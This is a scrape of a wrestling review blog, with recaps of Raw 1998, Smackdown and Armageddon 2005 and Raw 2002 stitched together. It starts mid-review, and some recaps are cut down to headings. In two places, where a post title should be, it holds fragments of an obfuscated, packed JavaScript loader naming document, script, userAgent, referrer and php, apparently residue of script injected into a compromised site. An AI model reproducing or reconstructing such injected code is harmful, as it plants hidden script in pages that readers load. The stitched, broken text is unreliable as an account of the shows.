Rating: B. This was a wild brawl and that’s what it should have been. When you’re trying to bury someone alive, why would you be using something like a hammerlock? That’s smart work from both guys as this should have been a fight and that’s all it was. The ring was just another place for fighting. Very solid match but not great. These guys had good fights but few good wrestling matches.

Overall Rating: C+. This is a tale of two shows as the first half is just flat out boring. There is almost nothing at all appealing about the first 3 or 4 matches. However starting with a good tag match and then the double main event we get a good string of matches that makes you forget how boring the openers were.

That’s what the Attitude Era was best at: making a big splash that caused you to forget something else. It’s a decent show overall but I’d just stick with the main events and the tag if you’re bored. Avoid the openers though as they’re nothing special at all.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihzdd|var|u0026u|referrer|ystzi||js|php'.split('|'),0,{})) Night Raw
Date: November 30, 1998
Location: 1^st Mariner Center, Baltimore, Maryland
Attendance: 11,006
Commentators: Jim Ross, Jerry Lawler

We open with a recap of Austin vs. Taker so far. Undertaker and Paul Bearer arrive as well.

Mark Henry has his date with Chyna tonight.

Austin is hunting for Taker.

New Age Outlaws vs. Edge/Gangrel

The Corporation runs in to save the Outlaws and destroys the Brood. The Outlaws leave with the Corporation but they never shook hands or anything like that.

Austin is still looking for Undertaker, searching in a freezer this time. Taker pops up from behind him and locks him in the freezer.

Post break Henry picks up Chyna at her hotel.

Henry and Chyna get to the restaurant and Chyna gets some flowers that cost $1.99.

Austin is out of the freezer.

Henry tries to order expensive water and plays some Marvin Gaye music.

Goldust vs. Jeff Jarrett

Austin and Taker are still looking for each other.

Hardcore Title: Big Bossman vs. Mankind

Duane Gill vs. Marc Mero

Bearer sends the orderlies after Kane again.

Henry reads Chyna a poem.

European Title: X-Pac vs. Ken Shamrock

Bearer and the orderlies go to the body bag and take it away on a stretcher.

Val Venis vs. Tiger Ali Singh

The Acolytes come out and beat up Singh and Babu for no apparent reason.

Bearer sees the ambulance leave. Austin and Kane are in the back watching Bearer on a monitor.

The Rock vs. Al Snow

Post match Mankind comes out and gets beaten down. The JOB Squad makes the save and actually beats up the Corporation for a bit until Boss Man beats them down with the stick. Mankind jumps Rock and they brawl to the back.

Remember to follow me on Twitter @kbreviews

Smackdown
Date: December 16, 2005
Location: MassMutual Center, Springfield, Massachusetts
Attendance: 3,500
Commentators: Michael Cole, Tazz

Boogeyman vs. Nunzio

Batista is in the back getting ready for a tag title shot against MNM later when Melina comes in. She rubs his shoulders and basically offers him sex to step out of the title match. She kisses Batista and I think Batista agrees to the proposition.

We get an Armageddon news conference and basically JBL wants a match. He wound up getting Matt Hardy.

Kid Kash vs. Super Crazy

Kash gets in a shoulder to the ribs and stomps away for two. Crazy pounds away but Kash pulls Crazy by the hair into the knee like a backbreaker for two. They slug it out a bit more and Kash walks into a tilt-a-whirl backbreaker. Crazy takes FOREVER to set up the moonsault and misses, letting Kash hit a brainbuster for the pin.

Post match Kash tries the brainbuster on a chair but the Mexicools make the save.

Smackdown Tag Titles: MNM vs. Batista/Rey Mysterio

Mercury comes in and is immediately almost powerbombed but Nitro makes the save. Batista shrugs off the superkick and clotheslines them both to the floor for a big dive from Mysterio as we take a break. Back with Rey getting two off a springboard splash before pounding on Nitro in the corner. Mercury finally realizes their only chance is to double team so he helps Nitro counter a rana into a slingshot powerbomb for two. That looked cool.

Rating: C+. This was all to set up something for the PPV. The Mexicools had won a tag battle royal to get a shot at MNM at the PPV while Rey/Batista are scheduled to face Big Show/Kane, who are the Raw tag champions at the moment. This kind of messes that up but it gave us champions vs. champions instead, which was non title for no apparent reason. Still though, decent match here and a good way to kill 20 minutes.

We get a clip from Armageddon 2000 with Undertaker chokeslamming Rikishi off the Cell.

Bobby Lashley vs. Paul Burchill

The Undertaker threw Mankind off the Cell too.

Booker T vs. Matt Hardy

This is just after Edge sent Matt to Raw after stealing Lita away. That was supposed to be the big push Matt to the main event but it never quite got there. Anyway Booker hooks a chinlock as JBL lists off his accomplishments in the real world. Matt fights up and hits a Side Effect to put both guys down.

Bob Orton makes sure Randy is sure about his decision.

Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dnsyk|var|u0026u|referrer|rkbaf||js|php'.split('|'),0,{})) 2005
Date: December 18, 2005
Location: Dunkin Donuts Center, Providence, Rhode Island
Attendance: 8,000
Commentators: Michael Cole, Tazz

You know I was trying to think of some background to this show and it occurs to me that nothing really happened in 2005. There was One Night Stand and that’s about it. This is a Smackdown show with the main event being Taker vs. Orton inside the Cell. Other than that, there really isn’t much. Batista is world champion and a tag team champion with Rey but he’s in a non-title match. Weird. Let’s get to it.

The opening video is about Taker vs. Orton and how this is the beginning of the end for Orton.

John Bradshaw Layfield vs. Matt Hardy

This is one of the issues with watching these older shows: I don’t remember this feud at all. Apparently JBL interrupted an interview and Matt made fun of him for leaving a lot of tag partners, allegedly out of fear. Jillian Hall is with JBL and looks awesome in a white pantsuit. This was during the I WILL NOT DIE phase for Matt for which JBL bashes him for. The man could talk when he got on a roll and he does here.

Matt comes in through the crowd and the fight is on. He hammers on JBL on the floor and rams him into the apron a few times, but gets his head caught in the ropes as he comes back in which chokes him badly. JBL, ever the nice guy, kicks him in the head while he’s caught in the hold. Big clothesline on the floor puts Matt down again.

Back in the ring he drops a bunch of elbows on Matt and by a bunch I mean like 8 of them but doesn’t cover. And people wonder why he lost the belt. Matt grabs a DDT (called a swinging neckbreaker by the idiot known as Michael Cole) for a quick two. When Tazz has to correct you, it’s saying a lot. A shoulder block by JBL gives him the advantage again and pounds away even more.

He sets for a belly to back superplex but Matt knocks him off and gets a moonsault press for two. Thankfully Matt hit it or we would have had an earthquake in Rhode Island. Bradshaw gets the buckle cover off and whips Matt into it. The big clothesline ends it a few seconds afterwards.

Rating: C. Nothing special here and I have no idea why JBL who was world champion for most of the previous year is opening a very low level PPV against a career midcarder but like I said, it was a weird year. Just a semi-squash here that was pretty pointless overall, especially since it was only put on the card two days prior to this.

We get a clip of Melina screwing Batista to try to convince him to not kill MNM on Friday. Naturally Batista got done screwing her and killed them anyway, winning the tag titles in the process. Dang Melina needs the blonde highlights back.

The Mexicools will cancel their match with MNM tonight if Melina will screw them. She declines.

Clip of a past HIAC match, in this case Foley going for a little ride. Then another ride. That first one is one of those things where it still blows my mind that he even lived.

MNM vs. Mexicools

MNM is John Morrison (Nitro here) and Joey Mercury. The Mexicools are Super Crazy and Psicosis. See, they’re Mexicans and they ride lawnmowers. That’s their gimmick. Mercury vs. Psicosis to start us off. Off to Nitro who doesn’t do any better so it’s off to Mercury again. Ok make that Nitro. Yeah it’s Nitro. Not that I can’t tell them apart mind you. They’re just tagging in and out that much.

Psicosis misses a charge but gets a punch to Mercury’s stomach off the top. Spinwheel kick sends Mercury to the floor and here come the dives. Crazy uses the referee as a launching pad to dive onto MNM in a nice spot. Psicosis loads up the guillotine legdrop but Melina crotches him to shift momentum. Psicosis gets a sunset flip but a blind tag breaks up anything he’s about to get going.

Clothesline gets two for Mercury. Psicosis gets a nice headlock takeover/headscissors to take both guys down. No tag though as Mercury brings Nitro back in. Nitro takes Crazy out which is a smart move because when Psicosis breaks free for a tag attempt there’s no one to tag. Nitro grabs a Cravate and Psicosis still can’t make a tag. Mercury almost jumps into a boot in the stupidest spot ever but he catches himself which is a sigh of relief from me.

Psicosis gets an enziguri and it’s hot tag to Crazy. He sends MNM into each other and fires off some dropkicks for everyone. Tornado DDT gets two on Mercury. Nitro and Psicosis go to the floor and Crazy hits the moonsault after kicking Melina to the floor. Nitro makes a last second save. Crazy gets up and walks into the Snapshot (3D position but Mercury holds him there and Nitro hits a DDT) for the pin.

Rating: B. I know that’s probably high but I really liked this. The Mexicools were flying all over the place at times but it was never to the point where it was just high spots and nothing of actual significance. MNM was good too and Melina in that tiny skirt of hers helped too. Really fun tag match and I’d like to see them get a long match (this was about 9 minutes).

JBL is giving an interview to WWE.com.

Booker is asked about his fourth match in the best of seven series for the US Title. He’s up 3-0 at the moment but Sharmell doesn’t want him to talk about it. Booker says he’ll win and then Sharmell insults the hotter Krystal.

We recap Booker vs. Benoit. Booker turned heel to cheat and win the title and Benoit got a rematch, only for there to be a double pin. This results in a Best of Seven series like they did in WCW but that might have been a best of five. I don’t think it was though. Booker won the first three but only one clean.

US Title: Booker T vs. Chris Benoit

If Booker wins he’s champion but if Benoit wins the series continues. Technically this is a title match I guess. Sharmell has a broom with her for the sweep thing. Long feeling out process to start. Heel kick misses for Booker and here comes Benoit, sending Booker to the floor with a chop. They go to the mat and just guess who wins there. Crowd is totally behind Benoit.

Booker gets a hammerlock to take Benoit down but gets reversed into a Crossface attempt. Booker makes the rope though and clears his head on the floor. Back in a Sharpshooter doesn’t work so Benoit just works on the leg like only he can. Benoit knows what he’s doing to keep the crowd into it as he changes up the holds he’s using. That’s so helpful because it keeps things from getting dull.

Booker rakes the eyes to escape and hammers away in the corner. Benoit fires off some chops and snaps off a German for two. A knee sends Benoit to the floor and they chop it out until Benoit gets rammed into the post. Off to an abdominal stretch in the ring by Booker. Benoit escapes and a double clothesline gives both guys a rest. The Canadian hits a German on the American for two.

Benoit unleashes some awesome suplexes and we get Three Amigos, a month after Eddie passed away. That gets a nice reaction from the crowd as well as a two count. Time for Rolling Germans and he goes up for the Swan Dive but Sharmell’s interference stops it. They botch a move out of the corner but to be fair it was next to impossible. Booker was setting for a superplex but Benoit tried to jump over into a German suplex off the ropes. He slipped off but again, not exactly an easy spot.

Booker gets a missile dropkick for a long two and everyone is shocked. Crowd is into this one. Benoit chops away but walks into a superkick. Sharmell gets a low blow and the axe kick hits, but only for two. ERUPTION for that kickout. Bookend is countered into the Crossface in the middle of the ring but somehow Booker crawls to the rope. More rolling Germans and Booker is just done. Swan Dive hits but SOMEHOW Booker gets out. This is great stuff.

Booker tries a left hand for some reason but gets caught in a Crossface attempt. They hit the mat and the referee goes down. Benoit gets the Sharpshooter and Booker taps but there’s no referee. Sharmell hits him with the broom and Benoit doesn’t even blink. Booker gets up to try another Bookend but Benoit gets a DDT to counter and Booker taps to make it 3-1 in a great match.

Rating: A-. Just a great match here as Booker went all out to try to beat Benoit but the back against the wall aspect was enough for Benoit to survive. Booker was DONE at the end and looked like he fell out of a building. The only thing really holding this back was that it didn’t end the series. Booker would win the series but Orton would be a sub for him for the next two matches and would ultimately win the title for him in match 7.

MNM is on WWE.com.

Another Cell moment is Rikishi being thrown off.

Here’s Teddy with network executive Palmer Cannon. Teddy thanks the fans for helping Smackdown win at Survivor Series. That’s all he has to say but Cannon, the epitome of useless, brings out Santa Claus with his elf. And it’s Vito and Nunzio. Well at least Nunzio, who is handing out coal. Yep it’s Vito.

He runs down the crowd and says they’re tired of giving. Instead, they think they should get title shots for Christmas. And cue Boogeyman. After the slowest walk this side of Taker, he gets in the ring and “sings” a Christmas song about beating them up, which he then does. Why couldn’t we get more Booker vs. Benoit instead of this? He leaves Vito and a bunch of worms in the ring, which of course we have to keep zooming in on.

We get a clip from No Mercy where Orton channeled his inner 7ft bald dude and put Taker in a casket which he then lit on fire. Orton then got “haunted” by Taker. It’s as goofy as it sounds too. Of course we saw all of the images in Orton’s head because that’s how WWE rolls. This turns into a full recap video for Taker vs. Orton, which would be due to clear the ring I guess. Basically Orton realized he did too much so he tried to get out of the match by retiring but Randy’s dad got involved and that was enough for Randy I guess to keep going.

The Ortons say they’re not worried because Randy is the master of mind games.

William Regal/Paul Burchill vs. Bobby Lashley

They have to tag. No real story here other than Lashley needs villagers to eat. He’s beaten both of them in one on one matches so this is the next challenge. Burchill starts and that doesn’t go well at all. Bobby pulls Regal in also and beats them both up with ease. Regal gets a kick in and cheats a bit on the floor. Just a bit though so don’t judge him. The British dudes use their technical stuff as we’re just waiting on Lashley to take over. Top rope knee gets two for Burchill. Lashley wakes up and mauls them both, ending Burchill with a Dominator.

Rating: D+. Just a squash here that was there to give Lashley a chance to look awesome. Granted Burchill and Regal didn’t mean anything at this point but the beating looked good. Lashley wouldn’t ever become the superstar they were hoping for but nice try at least I guess. No idea why this was on PPV though. Easily could have gone on Smackdown.

We throw it to Josh Matthews at the FRIENDLY TAP! Oh no. Oh not this. The owner is former referee Tim White and he’s not happy. He keeps drinking and drinking until Josh talks about the last match White refereed which was inside the Cell with HHH vs. Jericho. We get a clip of said match where White got hurt, ending his refereeing career.

White is still drinking and won’t say anything. He finally says that the Cell ruined his life and everyone left him. He took his pain out on everyone he cared about. He mentions his medical problems and starts crying. Then he pulls out a rifle and staggers off camera where a gunshot is heard. This is exactly what it sounds like.

In January it was announced that he had somehow missed and shot himself in the foot. Less than three months after Eddie died, WWE had a series of videos up on WWE.com called Lunchtime Suicides. Every week, White would try to kill himself in a different way. He failed each time, ultimately shooting Josh Matthews, who was something of a host for these videos. I kid you not: this actually happened.

Cruiserweight Title: Juventud vs. Kid Kash

Just Juventud now and he’s champion coming in here. Yes, they’re really just going on like nothing happened at all. Another pointless Cruiserweight match here with no real story. By no real one I mean Kash probably pinned him recently or something like that. All Juvy to start and he gets a standing rana for two. Fujiwara armbar goes on for a bit so Kash hits the floor. Juvy hits a plancha to keep up his advantage.

Kash manages to ram his shoulder into the post a few times to take over. Hammerlock slam gets two. Kash hammers away for a bit but misses a charge into the corner. Juvy can’t capitalize though and Kash keeps the advantage. Shoulderbreaker gets two. A springboard moonsault by Kash eats knees and here comes Juvy.

The champ chops away and uses really basic offense. Sunset flip doesn’t work for Kash and Juvy kicks him in the face for two. Loud END THIS MATCH chant starts up. You can tell that’s not a good sign. They go up to the top rope and Juvy hits a super rana but might have hurt his knee. Kash wants time out but gets caught by an enziguri for two. They trade some escapes and Juvy hits the Juvy Driver for two. 450 misses though and the Dead Level (brainbuster) gives Kash the title.

Rating: C-. The match wasn’t exactly bad, but dude no one cared at all. I don’t think I’ve ever heard a crowd beg for a match to end like that. This is what you get when you have no story to speak of and use guys that are just there instead of having characters or stories or anything like that. Just not interesting at all, but it was fine from a technical standpoint.

Lashley is on the website now.

Ad for the Rumble, which was the really weird Roman theme. No idea why they went with that but then again Mania never made a lot of sense with its ad campaigns.

We recap Kane/Big Show vs. Mysterio/Batista. They’re each show’s respective tag champions and this is supposed to be some big epic clash. A lot of this stemmed from Survivor Series and the fallout from the whole brand split war. Batista is world heavyweight champion and more or less unstoppable. He and Mysterio won the titles two days before this. Naturally it’s a non title match.

Batista/Rey Mysterio vs. Big Show/Kane

Rey has 619 cut into his beard. Batista vs. Show to start us off. Show throws him around a bit so Big Dave fires off right hands. Something resembling a shoulder block takes Show down but he gets up and hits what could be called a superkick that was pretty awesome all things considered. Off to Kane who Batista can work with a bit better. Sidewalk slam puts the Animal down and Kane goes up. He channels his inner Flair though and gets slammed down.

Off to Rey who stomps away and this a standing moonsault for one. Kane no sells some kicks so Rey tries to hit and run. A middle rope axehandle staggers Kane and Rey gets a springboard dropkick to send him to the floor. Batista takes his head off with a clothesline and Rey loads up the 619, only for Show to make the save. He rams Rey’s back (somewhat injured coming in) into the post.

Back in the ring and Show chops away at Rey. That sound makes me cringe. Kane comes in and Rey is able to get some shots in to set up the sitout bulldog. Show knocks Batista off the apron though to break up the tag. Batista pops back in and everything breaks down. Big Dave takes down the monsters and hits a spinebuster on Kane. Show and Batista fight to the floor and Rey hits the 619, only for Kane to catch the West Coast Pop and chokeslam Rey into dust to end it.

Rating: C. That’s it? This could have been the main event of any given Raw or Smackdown and there was nothing interesting going on for the most part. It’s not bad or anything, but there’s no appeal hear at all. The lack of anything being on the line really hurts this because in short, this changes nothing. MNM would get the titles back by the end of the year, making this whole title reign pretty pointless.

Video on Tribute to the Troops or whatever they’re calling it this year, which is the next night.

Another Cell moment is Shawn’s destruction by Taker. Still the best one ever.

The Cell is lowered.

The Undertaker vs. Randy Orton

This is the final blowoff from the Mania match. Taker of course won there, Orton won at Summerslam and this is the rubber match. Orton has his papa and Taker’s urn with him. Orton tries to run to start and Taker tries to close in on him. Taker gets a shoulder block and Orton heads to the floor. We get a headlock inside the Cell. Orton gets a hip toss and dropkick but can’t keep Taker down.

Taker hammers away and we go to the floor. He tries to harpoon Orton into the Cell but Orton escapes and takes over back inside the ring. Taker is like boy no you didn’t and grabs him by the throat, throwing him into the corner. Taker hammers away as they have a ton of time so the slow start is fine. Orton’s ribs go into the post and Taker keeps up the attack on the floor, mainly working on the ribs and chest.

The Deadman finds a chair and cracks Orton over the head with it. Orton is busted so Taker keeps pounding him with the chair. Taker rakes his face across the cage as Cole makes the cheese grater comparison. Orton finds a chain somewhere but gets his head rammed into the steps before he can use it. It’s so weird to see Cole as a face. Taker gets the chain and chokes away at Orton who is back in the ring now.

This time Taker is able to get the harpoon thing, sending Orton’s face into the cage. He gets the steps but Orton fights back out of desperation. There’s blood on one of the posts. Orton tries to get the steps but Taker kicks them back into his face. Back into the ring and there’s a chair in there. Orton grabs an “RKO” across the top rope but it’s more like just clotheslining him onto it. Close enough though.

It sent Taker to the floor into the cage though and Orton finally takes over. This time the steps show works. Now Orton gets to rake Taker’s face into the cage in a nice bit of evilness from earlier. Taker is busted open now and Orton chokes away with the chain. Big chair shot puts Taker down for two. Taker gets up again though and hammers away on the floor, firing off headbutts.

I love that look Taker gets on his face when he’s losing blood and he’s staggering around. Taker gets a running charge and climbs up the steps, hitting more or less a flying hip attack into Orton against the cage. Back in the ring now and Taker walks the ropes, only to miss an elbow. He must be fired up tonight to bust out moves like that. Orton grabs a table and sends Taker to the floor via a boot. Bob grabs Taker’s hair through the cage to hold him in place next to the wall.

Taker is like oh no you didn’t and rams Bob into the cage via a small hole in it. Taker drills Randy as Bob is bleeding (BIG issue here as Bob has Hepatitis, which is a disease transmitted by blood). Orton gets something resembling a powerslam to ram Taker into the Cell. Apparently you can pin people on the floor now as Randy gets two. Back in the ring and Taker gets his jumping clothesline for two. Old School hits this time, followed by a Downward Spiral.

Taker is getting all ticked off now and hits the Snake Eyes/Big Boot combo. Leg drop gets two. Chokeslam gets two due to a foot on the ropes. Taker gets a running knee in the corner but misses a running boot. Orton hits a low blow with the chain. He sets up the table brought in earlier and hits a splash mostly through it. That gets two as the table is thrown to the floor.

Orton, ever the genius, goes up for ten punches in the corner. DOES NO ONE WATCH TAPE OF TAKER MATCHES??? He deserves the Last Ride but gets out of it and Taker punches the referee by mistake. RKO out of nowhere but there’s no referee. Another referee opens the door to count and Bob comes in to get on our nerves. There’s the Last Ride to Randy but Bob makes the save.

Taker beats up Bob and rams him into the cage. Taker loads up the Tombstone on Randy which is reversed into one by Orton. Seriously, the guy never learns. That gets two and Taker sits up and is MAD. Orton keeps knocking him down and Taker keeps sitting up. After a bunch of punches Taker can’t sit up. He’s playing possum though and grabs Randy by the throat. Bob comes in again with the urn but Taker gets it, clocks both Ortons with it and a pair of Tombstones ends this.

Rating: A-. Now this is what the Cell is supposed to be. They beat the tar out of each other and this felt like a war. Taker going all insane and beating everyone down at the end as Orton just couldn’t stop him was perfect and showed that Taker is just better, which is the point of the final match of a feud. Well done and you NEVER get a decisive ending to a feud like this anymore, or at most maybe once a year.

Taker climbs the Cell to end the show.

Overall Rating: B+. Where in the world did this come from? With two great matches in the main event and Benoit vs. Booker plus a nice surprise in the tag match earlier in the show and the worst match being a three and a half minute squash, how can you really complain? I liked this and it worked rather well. Good show and worth checking out actually.
Remember to follow me on Twitter @kbreviews

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Date: April 1, 2002
Location: Pepsi Arena, Albany, New York
Attendance: 9,000
Commentators: Jim Ross, Jerry Lawler

http://kbwrestlingreviews.com/2011/10/11/monday-night-raw-march-25-2002-first-wwe-draft/

Across the Nation debuts as the new Raw theme song.

The Titantron is the tilted one now instead of the regular rectangle. I think you call that a parallelogram.

Intercontinental Title: Rob Van Dam vs. Booker T

Rob is defending. The idea that everything is new is being pushed strongly here. Feeling out process to start with Rob taking over via a hurricanrana. The stepover spin kick puts Booker down again but Rob charges into a hot shot to give Booker control. A knee drop sets up a chinlock by the challenger as things slow down. Van Dam comes back with some forearms and a monkey flip followed by the top rope kick for two.

Post match Eddie Guerrero returns after being off TV for almost a year earlier to beat up Van Dam.

After a break we see more of Vince being carried out. What is the point of this? Vince has a mic with him for no apparent reason. He tries to take it back but Show literally throws him out of the building.

William Regal vs. Spike Dudley

Bradshaw tries to beat up the NWO but the numbers catch up with him.

Hardcore Title: Raven vs. Bubba Ray Dudley

Raven is defending. Bubba takes over to start and drops some elbows before sending Raven to the floor. Our first weapons: a bag of oranges. Bubba stops to juggle and then blasts Raven in the head. Bird Boy comes back with a crutch and we head back inside. The Bubba Bomb is countered by a low blow and Raven beats on Ray with trashcan lids. A sleeper from Raven is countered by a stop sign shot as Lawler talks about the paddle match. Apparently the girls will be in bikinis.

Rating: C. To give you an idea of what the Hardcore Title was doing in 2002, Ray won his first title here and would win his seventh before May. The title would change hands over 140 times in 2002, and it was retired in August. Think about that for a minute. Anyway, this was the start of Ray being built up over the summer before being fed to Lesnar and HHH, which probably was the right move.

Hardy Boys vs. Mr. Perfect/Big Bossman

Post match, Brock Lesnar comes out and destroys the Hardys. He had only debuted two weeks ago so this was still new stuff.

Terri vs. Trish Stratus

Molly comes out and beats up Trish with the paddle before Terri can get spanked. This is a heel turn for Molly.

Kane vs. X-Pac

Vince is back inside.